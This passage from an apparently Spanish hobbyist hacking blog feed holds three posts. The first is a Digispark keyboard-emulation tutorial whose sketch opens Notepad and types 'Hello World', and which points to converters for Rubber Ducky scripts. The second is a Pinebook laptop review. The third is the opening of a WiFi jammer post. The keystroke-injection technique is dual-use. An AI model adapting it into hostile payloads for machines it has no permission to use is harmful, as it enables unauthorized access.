</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pln" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #6aa84f;">DigiKeyboard</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">delay</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="pun" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #8e7cc3;">5000</span></span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span style="color: #66d9ef;">
</span></span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">}</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background: transparent; border: 0px; color: #f92659; margin: 0px; padding: 0px; vertical-align: baseline;">void</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> loop</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">()</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">{</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="typ" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #6aa84f;">DigiKeyboard</span></span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">sendKeyStroke</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">KEY_R</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;"> MOD_GUI_LEFT</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
delay</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="pun" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #8e7cc3;">2</span></span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">50</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="typ" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #6aa84f;">DigiKeyboard</span></span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">println</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="str" style="background: transparent; border: 0px; color: #e6db74; margin: 0px; padding: 0px; vertical-align: baseline;">"notepad"</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
delay</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">250</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="typ" style="background: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #6aa84f;">DigiKeyboard</span></span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">println</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(F(</span><span class="str" style="background: transparent; border: 0px; color: #e6db74; margin: 0px; padding: 0px; vertical-align: baseline;">"Hello World"</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">));</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
while</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="background: transparent; border: 0px; color: #ae81ff; margin: 0px; padding: 0px; vertical-align: baseline;">1</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">);</span><span class="pln" style="background: transparent; border: 0px; color: #66d9ef; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="pun" style="background: transparent; border: 0px; color: #f8f8f2; margin: 0px; padding: 0px; vertical-align: baseline;">}</span></pre>
</div>
<div>
Para entender el funcionamiento en toda su totalidad, aquí os pego la descripción completa desgranada!<br />
<br />
<ul style="background-color: white; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><b style="color: #555555; font-family: inherit; margin: 0px; padding: 0px;">#define kbd_es_es</b><span style="color: #555555; font-family: inherit;"> : Configura el mapa del teclado, en nuestro caso español de España (os dejo aquí el link de la librearía con múltiples Layouts de teclado del señor xload </span><span style="color: #555555;"><a href="https://github.com/ernesto-xload/DigisparkKeyboard">https://github.com/ernesto-xload/DigisparkKeyboard</a> )</span><span style="color: #555555; font-family: inherit;">.</span></li>
</ul>
<ul style="background-color: white; color: #555555; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><span style="font-family: inherit;"><b style="margin: 0px; padding: 0px;">#include “DigiKeyboard.h”</b> : Incluye la librería para emulación de teclado.</span></li>
</ul>
<ul style="background-color: white; color: #555555; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><span style="font-family: inherit;"><b style="margin: 0px; padding: 0px;">DigiKeyboard.delay(5000)</b> : Espera 5 segundos (por posible instalación de drivers, etc …)</span></li>
</ul>
<ul style="background-color: white; color: #555555; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><span style="font-family: inherit;"><span style="margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT) </b></span><span style="margin: 0px; padding: 0px;">: Pulsa la tecla de Windows + R que hace que aparezca la </span><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">ventana de ejecutar comando en los sistemas Windows, para los sistemas con Gnome deberíamos enviar KEY_F2 y MOD_</span></span><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">ALT</span></span><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">_LEFT (Alt + F2)</span></span></span></li>
</ul>
<ul style="background-color: white; color: #555555; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><span style="font-family: inherit;"><b style="margin: 0px; padding: 0px;">DigiKeyboard.println(F(“notepad”)) </b>: Envía la cadena notepad, seguida de la tecla enter, en gnome podemos poner gedit.</span></li>
</ul>
<ul style="background-color: white; color: #555555; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><span style="font-family: inherit;"><b style="margin: 0px; padding: 0px;">DigiKeyboard.println(F(“Hola mundo!”))</b> : Envía la cadena “Hello World” seguida de <i>enter</i>.</span></li>
</ul>
<ul style="background-color: white; color: #555555; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><span style="font-family: inherit;"><b style="margin: 0px; padding: 0px;">while(1)</b> : Termina el programa, ya que la sección loop se ejecuta continuamente en bucle.</span></li>
</ul>
<ul style="background-color: white; color: #555555; margin: 0px; padding: 0px 0px 10px;">
<li style="list-style-position: inside; margin: 0px; padding: 0px 0px 0px 20px;"><span style="font-family: inherit;"><b style="margin: 0px; padding: 0px;">delay(250)</b> : Se han incluido varios a lo largo del código, para dar tiempo a que el sistema operativo anfitrión ejecute la orden anterior.</span></li>
</ul>
<div>
<span style="color: #555555;"><br /></span></div>
<div>
Nuevamente sin conectar aún el dispositivo procedemos a pulsar el botón de subir el script al dispositivo, pasados unos segundos el propio programa nos pedirá que lo conectemos y segundos después de hacerlo veremos que finaliza su carga.<br />
A partir de ese momento cuando conectemos el dispositivo al puerto usb de cualquier equipo con OS nos abrir un notepad con un bonito Hello World.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvaK6m3c7bU0v4Lht2ZykPFLiTt4PPPl-9HMZSVW4O6YqVYmRpYJmmFXYhSLBXhMEac-oEoN9JXn5IvLrsUkUK9Lfm0ArghCCAIRnLceAAp0WVGDSx2zbAFJ9mhMRBkO8tm1gPYwr7dWI/s1600/20-07-2017+13-09-45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="188" data-original-width="548" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvaK6m3c7bU0v4Lht2ZykPFLiTt4PPPl-9HMZSVW4O6YqVYmRpYJmmFXYhSLBXhMEac-oEoN9JXn5IvLrsUkUK9Lfm0ArghCCAIRnLceAAp0WVGDSx2zbAFJ9mhMRBkO8tm1gPYwr7dWI/s640/20-07-2017+13-09-45.png" width="640" /></a></div>
<br /></div>
<h3>
¿Y ahora? ¿Por donde seguimos?</h3>
<span style="font-family: inherit;">Pues ahora nos toca a cada uno de nosotros explotar todas las posibilidades de este juguete!! Hay básicamente dos caminos: programar vuestros propios scripts (siempre la opción más interesante y enriquecedora para nosotros mismos) <span style="font-family: inherit;">o</span> </span>también<span style="font-family: inherit;"> por comodidad, o para comenzar a enten<span style="font-family: inherit;">derlos,</span> podemos utilizar, estudiar y modificar scripts de Rubber Ducky existentes en Internet.<br /><br /><span style="font-family: inherit;">Para este último supuesto<span style="font-family: inherit;"> en <a href="https://github.com/mame82/duck2spark" target="_blank">este link</a> encontraréis</span> una herramienta muy sencilla y práctica<span style="font-family: inherit;"> llamada "<i>duck2spark</i>": es un script en <span style="font-family: inherit;">Python </span></span>que convierte <span style="font-family: inherit;">cualquier script de Rubber Ducky en formato .ino para poder ser abierto con ArudinoIDE y flashearlo <span style="font-family: inherit;">en consecuencia en nuestro Digispark.<span style="font-family: inherit;"> </span></span></span></span></span><br />
<span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">No obsta<span style="font-family: inherit;">nte tiene bastante limitaciones y algunos errores con los layouts de <span style="font-family: inherit;">teclado... no podíamos tenerlo <span style="font-family: inherit;">todo por el precio que hemos pagado!<span style="font-family: inherit;"> ¿No creéis?</span></span></span></span></span></span></span></span></span><br />
<br />
<br />
<span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"> </span></span></span></span></span></span></span></span><br /><br /><span style="font-family: inherit;">Espero que os haya gustado la entrada y os animéis a ha<span style="font-family: inherit;">cer <span style="font-family: inherit;">el proyecto y experimentar con ell<span style="font-family: inherit;">o! </span></span></span></span></span><br />
<br />
<span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">Saludos!!!!! </span></span></span></span></span></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com2tag:blogger.com,1999:blog-7944950214559293430.post-83193696937424748382017-07-14T18:06:00.000+02:002017-07-20T08:00:48.638+02:00Pinebook, el laptop de 99 dolares!!<div style="background-color: white; color: #333333; margin-bottom: 19.04px; margin-left: auto; margin-right: auto; max-width: 696px;">
<div style="font-size: 21px;">
<span style="font-family: inherit; font-size: small;">Hace solo tres semanas que recibí mi Pinebook, el que presume de ser el laptop más económico del mercado. Os lo presento!!</span></div>
<div style="font-size: 21px;">
<span style="font-family: inherit;"><br /></span>
</div>
<div class="separator" style="clear: both; font-size: 21px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXmsfrFMRYnvUDJXGeW6SkovVbiBSaI9ZYLIn94PxPYOHBQrRX4uze-vwdU34sJRM1NbpoBitDUcAjTWaBKaZDnVKwmdi50WG8oahfliiTDdJArKweRQFy-5hjk9qb4obkw0mkJMbF8IE/s1600/001+-+Presentacion.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: inherit;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXmsfrFMRYnvUDJXGeW6SkovVbiBSaI9ZYLIn94PxPYOHBQrRX4uze-vwdU34sJRM1NbpoBitDUcAjTWaBKaZDnVKwmdi50WG8oahfliiTDdJArKweRQFy-5hjk9qb4obkw0mkJMbF8IE/s640/001+-+Presentacion.JPG" width="640" /></span></a></div>
<div class="separator" style="clear: both; font-size: 21px; text-align: center;">
</div>
<a name='more'></a><div style="font-size: 21px;">
<span style="font-family: inherit;"><br /></span>
</div>
<h3 style="font-size: 21px;">
<span style="font-family: inherit;">
Pine64 </span></h3>
<div style="font-size: 21px;">
<span style="font-family: inherit; font-size: small;">Pine64 es una compañía tecnológica con sede en California (EEUU) que en los ultimo años ha creado y comercializado todo un catálogo de productos como alternativas válidas a las archiconocidas Raspberry Pi. </span></div>
<div style="font-size: 21px;">
<span style="font-family: inherit; font-size: small;">En noviembre del año pasado PINE64 presentó los primeros prototipos de lo que sería su nuevo producto: un laptop low cost basado en un procesador ARM, en formatos de 11,6 y 14 pulgadas y a un precio de 89$ y 99$ respectivamente!</span></div>
<div style="font-size: 21px;">
<span style="font-family: inherit;"><br /></span>
</div>
<h3 style="font-size: 21px;">
<span style="font-family: inherit;">
Especificaciones Técnicas</span></h3>
<div style="font-size: 21px;">
<span style="font-family: inherit; font-size: small;">El pinebook está concebido en base a la conjunción de un <span style="font-weight: 600;">SoC Allwinner A64 quad-core</span> con cuatro núcleos (<b>Cortex-A53</b> que funciona a 1,2 GHz, una GPU Mali 400MP2 y <b>2 GB de memoria LPDDR3</b>.</span></div>
<div style="font-size: 21px;">
<span style="font-family: inherit; font-size: small;">Todo ello es combinado con <b>16 GB de memoria Flash</b> para albergar el sistema operativo, con opciones de ampliación a 32 y 64GB en el momento de realizar el pedido en su web. <br />Para complementar el apartado del almacenamiento los chicos de Pine64 han dotado al Pinebook de una ranura para microSD y puede soportar un dispositivo de hasta <b>256 GB</b>.</span></div>
<div style="font-size: 21px;">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib_jSt1K-oT4N-7aDoIHNbM-94entBczSthheaJ61ZmUHJpynFzJVcylQa0bddOOtZIsilJUIYZejBgEDpeQXf6613IFS2Ho4EjC8Z9TbTbQWB5Gan7cbgOjhcdec9UAKXe59tzF9kfC0/s1600/003-core.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib_jSt1K-oT4N-7aDoIHNbM-94entBczSthheaJ61ZmUHJpynFzJVcylQa0bddOOtZIsilJUIYZejBgEDpeQXf6613IFS2Ho4EjC8Z9TbTbQWB5Gan7cbgOjhcdec9UAKXe59tzF9kfC0/s320/003-core.JPG" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: xx-small;">El corazón de "la máquina"</span></td></tr>
</tbody></table>
<span style="font-family: inherit; font-size: small;"><br /></span></div>
<div>
<span style="font-family: inherit; font-size: small;">La pantalla en sus dos formatos (11,6 y 14 pulgadas) tiene una <span style="font-weight: 600;">resolución de 1.280x720 píxeles y </span></span><span style="font-family: inherit; font-size: small;">en cuanto a </span>conectividad<span style="font-family: inherit; font-size: small;"> el equipo cuenta con salida </span>mini<span style="font-family: inherit; font-size: small;"> </span>HDMI<span style="font-family: inherit; font-size: small;">, conector de auriculares, dos puertos </span>USB<span style="font-family: inherit; font-size: small;"> 2.0, </span>webcam<span style="font-family: inherit; font-size: small;"> de 1,2 </span>Mpíxeles<span style="font-family: inherit; font-size: small;">, </span>WiFi<span style="font-family: inherit; font-size: small;"> 802.11n, </span>Bluetooth<span style="font-family: inherit; font-size: small;"> 4.0, y una </span><span style="font-family: inherit; font-size: small; font-weight: 600;">batería de 10.000 mAh</span><span style="font-family: inherit; font-size: small;"> todo ello con un </span><span style="font-family: inherit; font-size: small;">peso</span><span style="font-family: inherit; font-size: small;"> de 1,04 y </span><b style="font-family: inherit;">1,26 kilogramos</b><span style="font-family: inherit; font-size: small;"> </span>respectivamente<span style="font-family: inherit; font-size: small;"> para las dos versiones a la venta.</span></div>
</div>
<div style="background-color: white; color: #333333; margin-bottom: 19.04px; margin-left: auto; margin-right: auto; max-width: 696px;">
<span style="font-family: inherit; font-size: small;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpDAL8NbQQQc-86MzhylZ-cavaSbyckTu3CJ0D7gw7ivpaNlq_xsdOP7ve5XAAtxwVx4VF9ouJnOvC5IfrIIeEZUrACRiJBhtxIM3fmTLDPgjBwboSyC6xxrLrYHW0VbEXz9YSRjpA5Q/s1600/004-side+right.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpDAL8NbQQQc-86MzhylZ-cavaSbyckTu3CJ0D7gw7ivpaNlq_xsdOP7ve5XAAtxwVx4VF9ouJnOvC5IfrIIeEZUrACRiJBhtxIM3fmTLDPgjBwboSyC6xxrLrYHW0VbEXz9YSRjpA5Q/s200/004-side+right.JPG" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH93TuOuD8xJJeQUo8b_oL_A-4vbouFK0POgAO19x43lqHT2zWmX2W3_bSJtEWRaGHsH53g1nRL6hArjfFqqNGGekJCiELBugldBWjx0fHBUoDd60iMQCU0xD3BxKejvCeETqbMaHt1IU/s1600/005-side+left.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH93TuOuD8xJJeQUo8b_oL_A-4vbouFK0POgAO19x43lqHT2zWmX2W3_bSJtEWRaGHsH53g1nRL6hArjfFqqNGGekJCiELBugldBWjx0fHBUoDd60iMQCU0xD3BxKejvCeETqbMaHt1IU/s200/005-side+left.JPG" width="200" /></a></div>
</div>
<div style="background-color: white; color: #333333; font-size: 21px; margin-bottom: 19.04px; margin-left: auto; margin-right: auto; max-width: 696px;">
<span style="font-family: inherit; font-size: small;">Mi equipo al tratarse del 14" cuenta con un touchpad de 5 pulgadas de diagonal y teclado QWERTY con distribución americana (sin opción de elegir otra distribución a la hora de formalizar el pedido hasta la fecha).</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLMYrEhuyzI4TJhvPchkUe2owESxEbjDzTsOzNWTMvzuDnwKTj1Mu3qVY2OHQ1IzjcnK36j5NUFSmzMV6MUmDDHYmAy8OKXBW9-8X8awK8RXdZvEWi1Wd10ogKEriW3sYzPf-afqel6aE/s1600/Relleno000.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLMYrEhuyzI4TJhvPchkUe2owESxEbjDzTsOzNWTMvzuDnwKTj1Mu3qVY2OHQ1IzjcnK36j5NUFSmzMV6MUmDDHYmAy8OKXBW9-8X8awK8RXdZvEWi1Wd10ogKEriW3sYzPf-afqel6aE/s200/Relleno000.JPG" width="200" /></a></div>
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;"><br /></span>
</span><br />
<h3>
<span style="font-family: inherit;"><span style="font-size: small;">
</span>El Proceso de Compra</span></h3>
<div>
<span style="font-family: inherit; font-size: small;">Para adquirir un Pinebook debemos entrar a la <a href="https://www.pine64.org/" target="_blank">página web de PINE64</a> donde deberemos apuntarnos al "BTO building" y esperar pacientemente (en mi caso han sido unos 4 meses) a recibir el mail indicándonos que ha llegado nuestro turno y nos darán el link y un código para formalizar el pedido y su pago en un plazo máximo de 7 días (si no ceden "tu sitio" al siguiente comprador apuntado a la lista). <br />Desde la formalización del pedido hasta que se preparen los envios de esa "hornada" o badget deberemos aún esperar de un mes y medio a dos meses más.</span><br />
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;">A la hora de hacer el pedido y de tirar de calculadora hay que tener en cuenta que los gastos de envío desde China hasta España son de 37$. EL envío se realiza mediante DHL aéreo que, si bien es muy rápido (en tres días estaba en casa) a la entrega del paquete deberemos desembolsar, además de lo anterior, un montante adicional en concepto de impuestos y gastos de gestión aduanera de DHL; esto encarecerá el producto recibido entorno a un 35% aprox.</span></span></div>
<h3>
</h3>
<h3>
<span style="font-family: inherit; font-size: small;">
</span></h3>
<h3>
<span style="font-family: inherit;">
Al turrón: Hands-ON Experience!!!</span></h3>
<span style="font-family: inherit; font-size: small;">La primera impresión que nos ofrece el equipo es la de ligereza, el conjunto pesa realmente poco! Por supuesto el material exterior es plástico y, si bien el tacto es bastante pulido y agradable, con su uso estas semanas ha demostrado ser bastante sensible a roces y arañazos. No se agrieta ni se rompe, pero si se le hacen algunas marcas son relativa facilidad en cuanto dejas cosas sobre su superficie.</span><br />
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;">El equipo viene con una distribución ligeramente personalizada de Ubuntu con un entorno de escritorio ligero MATE en su versión 1.12.1 que aparentemente se mueve con fluidez, sin excesiva velocidad pero tampoco parece torpe a simple vista... aunque despues de estas semanas usándolo su carencias dan la cara y tiene verdaderos problemas a la hora de mover con fluidez en Firefox paginas muy complejas, mover vídeos a una calidad media y alta, y en generar en cuanto le exigimos un poco. He tratado de usar Chromium pensando que sería más ligero pero el comportamiento es prácticamente el mismo.</span></span><br />
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;">El teclado con sus teclas en "modo isla" puede parecer mas lento que uno unificado pero lo cierto es que se siente cómodo y fluido bajo los dedos. El contrapunto en mi humilde opinión es el touchpad: es muy sensible y a veces al rozarlo con los pulgares causa estragos en la posición del cursor y en la escritura... se echa de menos alguna hotkey para habilitarlo/deshabilitar su funcionamiento a discreción o bien una opción en MATE que permita regular la sensibilidad.</span></span><br />
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;">El sonido es bastante aceptable en cuanto a calidad aunque no tanto cuanto a volumen, es muy muy pobre y apenas puedes sacar algo más de volumen saturando por encima del 100% en la configuración donde la calidad se pierde por completo.</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5Ydlk0_UWcXCaNmnrwDMxlo1H-Tt1RpND2vXimssrDGPIhwrBl7hvBgnViFCKFBzkl2uidm2SDMgkUR-sRvZ92Sz2OxKoH3PU4Lgfz0mF7LCzXWbbZ-3iEvP4KABvo7f_7tg711TJ44M/s1600/006+-final.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5Ydlk0_UWcXCaNmnrwDMxlo1H-Tt1RpND2vXimssrDGPIhwrBl7hvBgnViFCKFBzkl2uidm2SDMgkUR-sRvZ92Sz2OxKoH3PU4Lgfz0mF7LCzXWbbZ-3iEvP4KABvo7f_7tg711TJ44M/s400/006+-final.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;">Según la teoría... estos equipos podrán mover sin problemas los mismos sistemas operativos que se utilizan en las PINE A64, por lo que podemos estar hablando de Android 5.1/7.0, Remix OS y distribuciones Linux compatibles con ese procesador: Debian Jessie, Ubuntu y Arch por ejemplo que están preparadas por ejemplo para estos sistemas.</span></span><br />
<span style="font-family: inherit; font-size: small;">Yo tan solo he utilizado Ubuntu + MATE por lo que no puedo opinar mucho más al respecto.</span><br />
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
</span><br />
<h3>
<span style="font-family: inherit;">
¿Merecela pena? ¿Cumple su función?</span></h3>
<span style="font-family: inherit; font-size: small;">La pregunta del millón! Creo que... no podemos perder el enfoque sobre el equipo que tenemos en las manos: por su arquitectura, sus recursos y su orientacion comercial profanamente podriamos hablar de lo equivalente a una RaspberryPi + Pantalla 14" + teclado + batería lo cual seguramente exceda o al menos iguale el precio de este laptop.</span><br />
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;">Dicho lo anterior... si vas a usarlo para navegar (sin demasiadas pretensiones como he explicado más arriba), tomar apuntes, llevar una agenda, reproducir audio, etc... puedes estar ante una opción mas que aceptable, con bastante autonomía y ligero y, no lo olvidemos: por un precio de 89/99$ que es realmente bajo.</span></span><br />
<span style="font-family: inherit;"><span style="font-size: small;"><br /></span>
<span style="font-size: small;">Si por el contrario vas a instalar mucho software dedicado, si necesitas velocidad y facilidad de procesamiento, o simplemente eres un freaky tecnológico (donde me incluyo categóricamente) que te gusta la fluidez y la sensación de poder hacer frente a cualquier requerimiento puntual que surja... considero que es mejor juntar algo mas de dinero y comprar un portátil con arquitectura clásica y mas recursos.</span></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit; font-size: small;">Saludos!!!!!!</span></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-28499691000339797252017-06-07T17:06:00.001+02:002020-08-21T10:52:58.382+02:00Hagamos un WiFi Jammer!<div class="separator" style="clear: both; text-align: left;">
En mi afán por obligarme a compartir con todos vosotros todas esos gadgets, investigaciones y experimentos que pasan por mis manos, hoy os quiero contar como con un desembolso mínimo de dinero podemos crear todo un WiFi "Jammer".</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh455YKAuiHppiw_UrJjd68BReRB-hz-SUxpvx2uk9nNbRO-y-q2dYhX6C78KI_gHeD5lgVy5gEn0TXDJ8NOXl9pW_D8Ii4BjYGBHWaLQgVJdSwGo3kLix8LX35f4T2bmOWOPdjUx2QJTc/s1600/07-06-2017+11-51-42.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="401" data-original-width="440" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh455YKAuiHppiw_UrJjd68BReRB-hz-SUxpvx2uk9nNbRO-y-q2dYhX6C78KI_gHeD5lgVy5gEn0TXDJ8NOXl9pW_D8Ii4BjYGBHWaLQgVJdSwGo3kLix8LX35f4T2bmOWOPdjUx2QJTc/s200/07-06-2017+11-51-42.png" width="200" /></a></div>
<div style="text-align: center;">
</div>
<a name='more'></a><br />
